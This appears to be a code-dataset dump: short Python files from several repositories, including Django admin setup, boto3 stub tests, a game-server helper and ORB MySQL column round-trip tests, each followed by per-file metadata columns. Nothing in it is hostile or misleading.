def test_spark_template_spark_2(cookies):
"""
This test makes sure that when a project with spark 3 support is being rendered the tests can be run
"""
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"spark_version": "2.0"},
)
assert_tests_run_without_compilation_issues(result)
| 34
| 104
| 0.682757
| 568
| 4,454
| 5.114437
| 0.167254
| 0.037177
| 0.037177
| 0.077453
| 0.824441
| 0.783133
| 0.769019
| 0.738382
| 0.677797
| 0.677797
| 0
| 0.008521
| 0.183206
| 4,454
| 130
| 105
| 34.261538
| 0.789995
| 0.057925
| 0
| 0.47
| 0
| 0
| 0.230972
| 0.17503
| 0
| 0
| 0
| 0
| 0.36
| 1
| 0.12
| false
| 0
| 0.02
| 0
| 0.14
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
a5da630375cddfc296d312a87de31d5a73f7b400
| 256
|
py
|
Python
|
lfs_downloadable_products/admin.py
|
diefenbach-fz/lfs-downloadable-products
|
e6fabbdce05db94df248ba79a5635869ad8774e5
|
[
"BSD-3-Clause"
] | null | null | null |
lfs_downloadable_products/admin.py
|
diefenbach-fz/lfs-downloadable-products
|
e6fabbdce05db94df248ba79a5635869ad8774e5
|
[
"BSD-3-Clause"
] | 1
|
2018-05-21T06:09:40.000Z
|
2018-05-21T06:09:40.000Z
|
lfs_downloadable_products/admin.py
|
diefenbach-fz/lfs-downloadable-products
|
e6fabbdce05db94df248ba79a5635869ad8774e5
|
[
"BSD-3-Clause"
] | null | null | null |
# django imports
from django.contrib import admin
# lfs imports
from lfs_downloadable_products.models import ProductAttachment
from lfs_downloadable_products.models import ProductUrl
admin.site.register(ProductAttachment)
admin.site.register(ProductUrl)
| 25.6
| 62
| 0.863281
| 31
| 256
| 7
| 0.451613
| 0.101382
| 0.175115
| 0.248848
| 0.359447
| 0.359447
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085938
| 256
| 9
| 63
| 28.444444
| 0.92735
| 0.101563
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
a5f0373c31a057477355b35b1c5bdcd27f4a8aba
| 51
|
py
|
Python
|
elliot/recommender/latent_factor_models/PMF/__init__.py
|
gategill/elliot
|
113763ba6d595976e14ead2e3d460d9705cd882e
|
[
"Apache-2.0"
] | 175
|
2021-03-04T15:46:25.000Z
|
2022-03-31T05:56:58.000Z
|
elliot/recommender/latent_factor_models/PMF/__init__.py
|
gategill/elliot
|
113763ba6d595976e14ead2e3d460d9705cd882e
|
[
"Apache-2.0"
] | 15
|
2021-03-06T17:53:56.000Z
|
2022-03-24T17:02:07.000Z
|
elliot/recommender/latent_factor_models/PMF/__init__.py
|
gategill/elliot
|
113763ba6d595976e14ead2e3d460d9705cd882e
|
[
"Apache-2.0"
] | 39
|
2021-03-04T15:46:26.000Z
|
2022-03-09T15:37:12.000Z
|
from .probabilistic_matrix_factorization import PMF
| 51
| 51
| 0.921569
| 6
| 51
| 7.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058824
| 51
| 1
| 51
| 51
| 0.9375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
93d6ed4718be691637d0e4148cfbe8c604a75dc0
| 96
|
py
|
Python
|
venv/lib/python3.8/site-packages/yapftests/style_test.py
|
Retraces/UkraineBot
|
3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71
|
[
"MIT"
] | 2
|
2022-03-13T01:58:52.000Z
|
2022-03-31T06:07:54.000Z
|
venv/lib/python3.8/site-packages/yapftests/style_test.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | 19
|
2021-11-20T04:09:18.000Z
|
2022-03-23T15:05:55.000Z
|
venv/lib/python3.8/site-packages/yapftests/style_test.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | null | null | null |
/home/runner/.cache/pip/pool/23/ff/b2/aa8995bacaad901dff34edce8949e0c793c0a1506bee66844c43747207
| 96
| 96
| 0.895833
| 9
| 96
| 9.555556
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.395833
| 0
| 96
| 1
| 96
| 96
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
93e9dee080b052330e30a08235bb70a65cf0bd41
| 234
|
py
|
Python
|
mymoney/apps/bankaccounts/apps.py
|
ychab/mymoney
|
9ee665d40648fd0b95f6e90d82ccf2bfc791e8af
|
[
"BSD-3-Clause"
] | 67
|
2015-12-22T10:27:34.000Z
|
2022-03-10T21:33:18.000Z
|
mymoney/apps/bankaccounts/apps.py
|
clebercarmo/mymoney
|
9ee665d40648fd0b95f6e90d82ccf2bfc791e8af
|
[
"BSD-3-Clause"
] | null | null | null |
mymoney/apps/bankaccounts/apps.py
|
clebercarmo/mymoney
|
9ee665d40648fd0b95f6e90d82ccf2bfc791e8af
|
[
"BSD-3-Clause"
] | 35
|
2016-08-07T11:43:51.000Z
|
2022-02-21T21:20:06.000Z
|
from django.apps import AppConfig
class BankAccountConfig(AppConfig):
name = 'mymoney.apps.bankaccounts'
verbose_name = "Bank accounts"
def ready(self):
import mymoney.apps.bankaccounts.signals.handlers # noqa
| 23.4
| 65
| 0.730769
| 26
| 234
| 6.538462
| 0.730769
| 0.129412
| 0.270588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183761
| 234
| 9
| 66
| 26
| 0.890052
| 0.017094
| 0
| 0
| 0
| 0
| 0.166667
| 0.109649
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
93f883abc2a61dcabf52da8f3835609f97c19a1c
| 234
|
py
|
Python
|
metawifi/__init__.py
|
maksimio/csi_classification
|
b3f87e3de84f9e6d5f2ae34ea2d61e84a413553f
|
[
"MIT"
] | 4
|
2021-03-23T06:19:01.000Z
|
2022-02-16T13:46:53.000Z
|
metawifi/__init__.py
|
maksimio/csi_classification
|
b3f87e3de84f9e6d5f2ae34ea2d61e84a413553f
|
[
"MIT"
] | 1
|
2020-11-02T05:05:08.000Z
|
2022-02-09T22:25:10.000Z
|
metawifi/__init__.py
|
maksimio/csi_classification
|
b3f87e3de84f9e6d5f2ae34ea2d61e84a413553f
|
[
"MIT"
] | 2
|
2020-07-13T17:11:28.000Z
|
2022-03-08T13:30:09.000Z
|
from .df import WifiLearn
from .df import WifiDf
from .log import LogCombiner
from .log import LogReader
# TODO Умное чтение вложенных файлов с отсевом не .dat файлов
# TODO WifiDf - методы с информацией о df (число категорий и т.п.)
| 33.428571
| 66
| 0.777778
| 38
| 234
| 4.789474
| 0.657895
| 0.065934
| 0.131868
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.17094
| 234
| 7
| 66
| 33.428571
| 0.938144
| 0.529915
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9e12760591b3b508b0feb21120892058389a0430
| 153
|
py
|
Python
|
keras_contrib/constraints.py
|
ypeleg/keras-contrib
|
0cf91f1f8a8a0bc8005f862ce980f784a6d3c634
|
[
"MIT"
] | null | null | null |
keras_contrib/constraints.py
|
ypeleg/keras-contrib
|
0cf91f1f8a8a0bc8005f862ce980f784a6d3c634
|
[
"MIT"
] | null | null | null |
keras_contrib/constraints.py
|
ypeleg/keras-contrib
|
0cf91f1f8a8a0bc8005f862ce980f784a6d3c634
|
[
"MIT"
] | 1
|
2018-06-24T03:46:21.000Z
|
2018-06-24T03:46:21.000Z
|
from __future__ import absolute_import
from . import backend as K
from keras.utils.generic_utils import get_from_module
from keras.constraints import *
| 25.5
| 53
| 0.843137
| 23
| 153
| 5.26087
| 0.565217
| 0.14876
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.124183
| 153
| 5
| 54
| 30.6
| 0.902985
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9e1ea72d1d7ebc0e8847c31e25ae7514562addea
| 82
|
py
|
Python
|
drf_viewset_profiler/__init__.py
|
fvlima/drf-view-profiler
|
a61d48e9835679f812d69d24ea740b947836108c
|
[
"MIT"
] | 30
|
2019-10-16T12:48:16.000Z
|
2021-11-23T08:57:27.000Z
|
drf_viewset_profiler/__init__.py
|
fvlima/drf-view-profiler
|
a61d48e9835679f812d69d24ea740b947836108c
|
[
"MIT"
] | null | null | null |
drf_viewset_profiler/__init__.py
|
fvlima/drf-view-profiler
|
a61d48e9835679f812d69d24ea740b947836108c
|
[
"MIT"
] | 1
|
2021-11-23T07:28:04.000Z
|
2021-11-23T07:28:04.000Z
|
from .decorators import line_profiler_viewset
__all__ = (line_profiler_viewset,)
| 20.5
| 45
| 0.841463
| 10
| 82
| 6.1
| 0.7
| 0.393443
| 0.622951
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097561
| 82
| 3
| 46
| 27.333333
| 0.824324
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
f52d51cdb164f2611194f348ec5c7bd8889cfce1
| 525
|
py
|
Python
|
tests/type_maps/test_method_argument_map.py
|
pyto86pri/mypy_boto3_builder
|
e8132dc4632430e0abd4cd330af51a8b1c82028f
|
[
"MIT"
] | 258
|
2020-01-24T09:49:05.000Z
|
2022-03-31T14:58:30.000Z
|
tests/type_maps/test_method_argument_map.py
|
pyto86pri/mypy_boto3_builder
|
e8132dc4632430e0abd4cd330af51a8b1c82028f
|
[
"MIT"
] | 131
|
2020-02-12T16:03:36.000Z
|
2022-03-31T18:24:29.000Z
|
tests/type_maps/test_method_argument_map.py
|
pyto86pri/mypy_boto3_builder
|
e8132dc4632430e0abd4cd330af51a8b1c82028f
|
[
"MIT"
] | 21
|
2020-06-05T12:48:17.000Z
|
2022-02-13T06:07:54.000Z
|
from mypy_boto3_builder.service_name import ServiceNameCatalog
from mypy_boto3_builder.type_maps.method_argument_map import get_method_arguments_stub
class TestMethodArgumentMap:
def test_get_method_arguments_stub(self) -> None:
assert get_method_arguments_stub(ServiceNameCatalog.ec2, "Instance", "delete_tags")[0]
assert get_method_arguments_stub(ServiceNameCatalog.ec2, "Instance", "unknown") is None
assert get_method_arguments_stub(ServiceNameCatalog.ec2, "unknown", "delete_tags") is None
| 52.5
| 98
| 0.813333
| 66
| 525
| 6.075758
| 0.454545
| 0.112219
| 0.224439
| 0.274314
| 0.426434
| 0.426434
| 0.426434
| 0.426434
| 0
| 0
| 0
| 0.012903
| 0.114286
| 525
| 9
| 99
| 58.333333
| 0.849462
| 0
| 0
| 0
| 0
| 0
| 0.099048
| 0
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0.142857
| false
| 0
| 0.285714
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
f539b03fbf92cb41a7e14184c9e45c0340c86955
| 299
|
py
|
Python
|
loman/test/standard_test_computations.py
|
pushingice/loman
|
19237f5d440db44bf526b813390faedd74b9345c
|
[
"BSD-3-Clause"
] | 48
|
2018-10-31T20:09:15.000Z
|
2022-02-14T20:38:53.000Z
|
loman/test/standard_test_computations.py
|
pushingice/loman
|
19237f5d440db44bf526b813390faedd74b9345c
|
[
"BSD-3-Clause"
] | 21
|
2017-04-07T02:41:28.000Z
|
2018-01-24T15:59:51.000Z
|
loman/test/standard_test_computations.py
|
pushingice/loman
|
19237f5d440db44bf526b813390faedd74b9345c
|
[
"BSD-3-Clause"
] | 3
|
2018-10-17T01:37:17.000Z
|
2019-12-05T11:51:50.000Z
|
from loman import ComputationFactory, input_node, calc_node
@ComputationFactory
class BasicFourNodeComputation(object):
a = input_node()
@calc_node
def b(a):
return a + 1
@calc_node
def c(a):
return 2 * a
@calc_node
def d(b, c):
return b + c
| 15.736842
| 59
| 0.61204
| 40
| 299
| 4.425
| 0.45
| 0.180791
| 0.186441
| 0.19209
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009615
| 0.304348
| 299
| 18
| 60
| 16.611111
| 0.841346
| 0
| 0
| 0.230769
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0
| 0.076923
| 0.230769
| 0.692308
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
f548f72c851943202f587791ccf51c2ca1f7b02b
| 545
|
py
|
Python
|
server/managers/BulleManager.py
|
b3ckerdev/Transformice-Server
|
d87ef61618fbed2736b72347ccf645765ad22b66
|
[
"MIT"
] | 2
|
2021-03-15T14:46:57.000Z
|
2022-01-27T10:50:49.000Z
|
server/managers/BulleManager.py
|
b3ckerdev/Transformice-Server
|
d87ef61618fbed2736b72347ccf645765ad22b66
|
[
"MIT"
] | null | null | null |
server/managers/BulleManager.py
|
b3ckerdev/Transformice-Server
|
d87ef61618fbed2736b72347ccf645765ad22b66
|
[
"MIT"
] | null | null | null |
import random
class BulleManager:
__bulles__ = []
@staticmethod
def get():
return BulleManager.__bulles__
@staticmethod
def count():
return len(BulleManager.__bulles__)
@staticmethod
def add(bulle_ip):
BulleManager.__bulles__.append(bulle_ip)
@staticmethod
def remove(bulle_ip):
BulleManager.__bulles__.remove(bulle_ip)
@staticmethod
def get_bulle(room):
for bulle in BulleManager.__bulles__:
if room in bulle.bulle_rooms:
return bulle
return random.choice(BulleManager.__bulles__)
| 20.185185
| 47
| 0.730275
| 61
| 545
| 5.967213
| 0.360656
| 0.346154
| 0.247253
| 0.271978
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.188991
| 545
| 27
| 47
| 20.185185
| 0.823529
| 0
| 0
| 0.238095
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.238095
| false
| 0
| 0.047619
| 0.095238
| 0.571429
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
f54d3a7ee6fd05b1f4484e140b5edb1aafd37e50
| 188
|
py
|
Python
|
Exercício feitos pela primeira vez/ex005.py
|
Claayton/pythonExerciciosLinux
|
696cdb16983638418bd0d0d4fe44dc72662b9c97
|
[
"MIT"
] | 1
|
2021-01-23T15:43:34.000Z
|
2021-01-23T15:43:34.000Z
|
Exercício feitos pela primeira vez/ex005.py
|
Claayton/pythonExerciciosLinux
|
696cdb16983638418bd0d0d4fe44dc72662b9c97
|
[
"MIT"
] | null | null | null |
Exercício feitos pela primeira vez/ex005.py
|
Claayton/pythonExerciciosLinux
|
696cdb16983638418bd0d0d4fe44dc72662b9c97
|
[
"MIT"
] | null | null | null |
#Exercício05
x = int(input('Digite um número:'))
print('O número que você digitou foi: {}\nO antecessor desse número é: {}\nO sucessor desse número é: {}'.format(x, x-1, x+1))
print('xD')
| 37.6
| 126
| 0.675532
| 32
| 188
| 3.96875
| 0.65625
| 0.173228
| 0.188976
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.024691
| 0.138298
| 188
| 4
| 127
| 47
| 0.759259
| 0.058511
| 0
| 0
| 0
| 0.333333
| 0.659091
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.666667
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
f55dd161b59858bea57ec1772053a0648dcbbb4d
| 84
|
py
|
Python
|
core/admin.py
|
vinoteam/vinoteam-server
|
d02582116944356f535d9976ffe1df3f13c831d1
|
[
"MIT"
] | 1
|
2017-06-27T13:16:37.000Z
|
2017-06-27T13:16:37.000Z
|
core/admin.py
|
vinoteam/vinoteam-server
|
d02582116944356f535d9976ffe1df3f13c831d1
|
[
"MIT"
] | null | null | null |
core/admin.py
|
vinoteam/vinoteam-server
|
d02582116944356f535d9976ffe1df3f13c831d1
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import Vin
admin.site.register(Vin)
| 14
| 32
| 0.797619
| 13
| 84
| 5.153846
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.130952
| 84
| 5
| 33
| 16.8
| 0.917808
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
f564d3c3cff97059a1c0d042c946c7dd1674b863
| 8,662
|
py
|
Python
|
tests/functional/mysql/test_my_columns.py
|
ProjexSoftware/orb
|
575be2689cb269e65a0a2678232ff940acc19e5a
|
[
"MIT"
] | 7
|
2016-03-30T18:15:46.000Z
|
2021-02-19T14:55:01.000Z
|
tests/functional/mysql/test_my_columns.py
|
orb-framework/orb
|
575be2689cb269e65a0a2678232ff940acc19e5a
|
[
"MIT"
] | 25
|
2016-02-02T20:52:35.000Z
|
2017-12-12T06:14:21.000Z
|
tests/functional/mysql/test_my_columns.py
|
orb-framework/orb
|
575be2689cb269e65a0a2678232ff940acc19e5a
|
[
"MIT"
] | 3
|
2015-12-30T22:27:02.000Z
|
2016-08-24T22:33:42.000Z
|
import datetime
import decimal
import pytz
TEST_DATA = {'testing': 10}
TEST_DATE = datetime.date(2015, 10, 10)
TEST_DATETIME = datetime.datetime(2015, 10, 10, 10, 10, 10)
TEST_TIME = datetime.time(10, 10, 10)
TEST_DATETIME_TZ = pytz.timezone('US/Pacific').localize(datetime.datetime(2015, 10, 10, 10, 10, 10, 0))
TEST_INTERVAL = datetime.timedelta(days=5)
TEST_DECIMAL = decimal.Decimal('10.25')
TEST_FLOAT = 10.2
TEST_INTEGER = 10
TEST_LONG = 2**63-1
TEST_TEXT = 'simple string'
TEST_COLOR = '#ffffff'
TEST_DIRECTORY = '/var/tmp'
TEST_FILEPATH = '/var/tmp/test.txt'
TEST_EMAIL = 'bob@test.com'
TEST_HTML = '<b>something</b>'
TEST_URL = 'https://google.com'
TEST_XML = '<orb version="2016.0.0"></orb>'
def _test_save(record, column, value):
record.set(column, value)
record.save()
assert record.get(column) == value
def test_my_columns_save_boolean(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'bool', True)
def test_my_columns_save_binary(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'binary', TEST_DATA)
def test_my_columns_save_json(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'json', TEST_DATA)
def test_my_columns_save_yaml(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'yaml', TEST_DATA)
def test_my_api_save_query(orb, my_db, my_all_column_record):
q = orb.Query('name') == 'bob'
my_all_column_record.set('query', q)
my_all_column_record.save()
assert my_all_column_record.get('query').__json__() == q.__json__()
def test_my_columns_save_date(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'date', TEST_DATE)
def test_my_columns_save_datetime(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'datetime', TEST_DATETIME)
def test_my_columns_save_datetime_tz(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'datetime_tz', TEST_DATETIME_TZ)
def test_my_columns_save_interval(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'interval', TEST_INTERVAL)
def test_my_columns_save_time(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'time', TEST_TIME)
def test_my_columns_save_timestamp(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'timestamp', TEST_DATETIME)
def test_my_columns_save_utc_datetime(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'utc_datetime', TEST_DATETIME)
def test_my_columns_save_utc_timestamp(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'utc_timestamp', TEST_DATETIME)
def test_my_columns_save_decimal(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'decimal', TEST_DECIMAL)
def test_my_columns_save_float(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'float', TEST_FLOAT)
def test_my_columns_save_integer(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'integer', TEST_INTEGER)
def test_my_columns_save_long(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'long', TEST_LONG)
def test_my_columns_save_enum(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'enum', my_all_column_record.Test.Ok)
def test_my_columns_save_string(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'string', TEST_TEXT)
def test_my_columns_save_text(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'text', TEST_TEXT)
def test_my_columns_save_color(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'color', TEST_COLOR)
def test_my_columns_save_directory(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'directory', TEST_DIRECTORY)
def test_my_columns_save_email(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'email', TEST_EMAIL)
def test_my_columns_save_filepath(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'filepath', TEST_FILEPATH)
def test_my_columns_save_html(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'html', TEST_HTML)
def test_my_columns_save_url(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'url', TEST_URL)
def test_my_columns_save_xml(orb, my_db, my_all_column_record):
_test_save(my_all_column_record, 'xml', TEST_XML)
def test_my_columns_restore_boolean(orb, my_db, my_last_column_record):
assert my_last_column_record.get('bool') == True
def test_my_columns_restore_binary(orb, my_db, my_last_column_record):
assert my_last_column_record.get('binary') == TEST_DATA
def test_my_columns_restore_json(orb, my_db, my_last_column_record):
assert my_last_column_record.get('json') == TEST_DATA
def test_my_columns_restore_yaml(orb, my_db, my_last_column_record):
assert my_last_column_record.get('yaml') == TEST_DATA
def test_my_columns_restore_query(orb, my_db, my_last_column_record):
q = orb.Query('name') == 'bob'
assert my_last_column_record.get('query').__json__() == q.__json__()
def test_my_columns_restore_date(orb, my_db, my_last_column_record):
assert my_last_column_record.get('date') == TEST_DATE
def test_my_columns_restore_datetime(orb, my_db, my_last_column_record):
assert my_last_column_record.get('datetime') == TEST_DATETIME
def test_my_columns_restore_datetime_tz(orb, my_db, my_last_column_record):
assert my_last_column_record.get('datetime_tz') == TEST_DATETIME_TZ
def test_my_columns_restore_interval(orb, my_db, my_last_column_record):
assert my_last_column_record.get('interval') == TEST_INTERVAL
def test_my_columns_restore_time(orb, my_db, my_last_column_record):
assert my_last_column_record.get('time') == TEST_TIME
def test_my_columns_restore_timestamp(orb, my_db, my_last_column_record):
assert my_last_column_record.get('timestamp') == TEST_DATETIME
def test_my_columns_restore_utc_datetime(orb, my_db, my_last_column_record):
assert my_last_column_record.get('utc_datetime') == TEST_DATETIME
def test_my_columns_restore_utc_timestamp(orb, my_db, my_last_column_record):
assert my_last_column_record.get('utc_timestamp') == TEST_DATETIME
def test_my_columns_restore_decimal(orb, my_db, my_last_column_record):
assert my_last_column_record.get('decimal') == TEST_DECIMAL
def test_my_columns_restore_float(orb, my_db, my_last_column_record):
assert my_last_column_record.get('float') == TEST_FLOAT
def test_my_columns_restore_integer(orb, my_db, my_last_column_record):
assert my_last_column_record.get('integer') == TEST_INTEGER
def test_my_columns_restore_long(orb, my_db, my_last_column_record):
assert my_last_column_record.get('long') == TEST_LONG
def test_my_columns_restore_enum(orb, my_db, my_last_column_record):
assert my_last_column_record.get('enum') == my_last_column_record.Test.Ok
def test_my_columns_restore_string(orb, my_db, my_last_column_record):
assert my_last_column_record.get('string') == TEST_TEXT
def test_my_columns_restore_text(orb, my_db, my_last_column_record):
assert my_last_column_record.get('text') == TEST_TEXT
def test_my_columns_restore_color(orb, my_db, my_last_column_record):
assert my_last_column_record.get('color') == TEST_COLOR
def test_my_columns_restore_directory(orb, my_db, my_last_column_record):
assert my_last_column_record.get('directory') == TEST_DIRECTORY
def test_my_columns_restore_email(orb, my_db, my_last_column_record):
assert my_last_column_record.get('email') == TEST_EMAIL
def test_my_columns_restore_filepath(orb, my_db, my_last_column_record):
assert my_last_column_record.get('filepath') == TEST_FILEPATH
def test_my_columns_restore_html(orb, my_db, my_last_column_record):
assert my_last_column_record.get('html') == TEST_HTML
def test_my_columns_restore_url(orb, my_db, my_last_column_record):
assert my_last_column_record.get('url') == TEST_URL
def test_my_columns_restore_xml(orb, my_db, my_last_column_record):
assert my_last_column_record.get('xml') == TEST_XML
def test_my_extract_values(orb, TestAllColumns, GroupUser, Group):
import datetime
users = GroupUser.all()
all_records = TestAllColumns.all()
assert isinstance(all_records.values('date')[0], datetime.date)
assert isinstance(all_records.values('datetime')[0], datetime.datetime)
assert isinstance(users.values('group')[0], Group)
assert not isinstance(users.values('group_id')[0], Group)
group, group_id = users.values('group', 'group_id')[0]
assert isinstance(group, Group)
assert not isinstance(group_id, Group)
| 40.666667
| 103
| 0.795775
| 1,435
| 8,662
| 4.26899
| 0.062021
| 0.219393
| 0.102351
| 0.158178
| 0.851616
| 0.768201
| 0.743062
| 0.547176
| 0.472086
| 0.461639
| 0
| 0.009011
| 0.103209
| 8,662
| 212
| 104
| 40.858491
| 0.779609
| 0
| 0
| 0.027027
| 0
| 0
| 0.061425
| 0.002887
| 0
| 0
| 0
| 0
| 0.236486
| 1
| 0.378378
| false
| 0
| 0.027027
| 0
| 0.405405
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
